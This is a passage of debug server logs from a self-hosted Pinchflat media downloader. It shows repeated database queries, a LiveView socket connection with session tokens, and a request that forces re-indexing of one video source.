s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:19:19.632 [debug] QUERY OK source="settings" db=0.2ms idle=513.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.632 [debug] QUERY OK source="settings" db=0.1ms idle=513.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.633 [debug] QUERY OK source="settings" db=0.3ms idle=472.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.635 [info] Sent 200 in 6ms 22:19:24.335 [info] GET /sources/3 22:19:24.336 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 22:19:24.336 [debug] QUERY OK source="sources" db=0.3ms idle=1217.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.336 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1217.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:24.337 [debug] QUERY OK source="tasks" db=0.1ms idle=1218.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 22:19:24.337 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1168.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [173] 22:19:24.337 [debug] QUERY OK source="settings" db=0.1ms idle=168.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:24.337 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:24.338 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:24.339 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.339 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:24.339 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.340 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.340 [debug] QUERY OK source="media_items" db=0.0ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:24.340 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.341 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.341 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 22:19:24.342 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.342 [info] Sent 200 in 6ms 22:19:24.503 [info] CONNECTED TO Phoenix.LiveView.Socket in 48µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "XCUFVS19RAI_OXpiDyxhGAQhXwFiNR5u5H6bD5-CT_N2maPNTKkr1AI-", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:24.527 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 3} 22:19:24.528 [debug] QUERY OK source="sources" db=0.5ms idle=187.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.529 [debug] QUERY OK source="media_items" db=0.5ms idle=188.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:24.531 [debug] QUERY OK source="media_items" db=1.0ms idle=188.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.531 [debug] Replied in 3ms 22:19:24.532 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 3} 22:19:24.533 [debug] QUERY OK source="sources" db=0.4ms idle=191.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.533 [debug] QUERY OK source="media_items" db=0.2ms idle=191.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:24.534 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.534 [debug] Replied in 2ms 22:19:24.536 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 3} 22:19:24.536 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:24.537 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 22:19:24.537 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:24.537 [debug] Replied in 900µs 22:19:34.217 [info] POST /sources/3/force_index 22:19:34.217 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "XCUFVS19RAI_OXpiDyxhGAQhXwFiNR5u5H6bD5-CT_N2maPNTKkr1AI-", "_method" => "post", "source_id" => "3"} Pipelines: [:browser] 22:19:34.218 [debug] QUERY OK source="sources" db=0.2ms idle=98.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:34.218 [debug] QUERY OK source="tasks" db=0.2ms idle=99.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [3, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:19:34.573 [debug] QUERY OK source="tasks" db=156.2ms idle=230.0ms DELETE FROM "tasks" WHERE "id" = ? [161] 22:19:34.920 [debug] QUERY OK source="tasks" db=181.1ms idle=520.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [179, 3, ~U[2026-07-24 02:19:34Z], ~U[2026-07-24 02:19:34Z]] 22:19:34.921 [info] Sent 302 in 704ms 22:19:35.006 [info] GET /sources/3 22:19:35.006 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 22:19:35.006 [debug] QUERY OK source="sources" db=0.2ms idle=589.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.006 [debug] QUERY OK source="media_profiles" db=0.1ms idle=433.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:35.007 [debug] QUERY OK source="tasks" db=0.1ms idle=432.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 22:19:35.007 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=267.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [179] 22:19:35.007 [debug] QUERY OK source="settings" db=0.1ms idle=86.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.007 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.008 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.009 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.009 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" 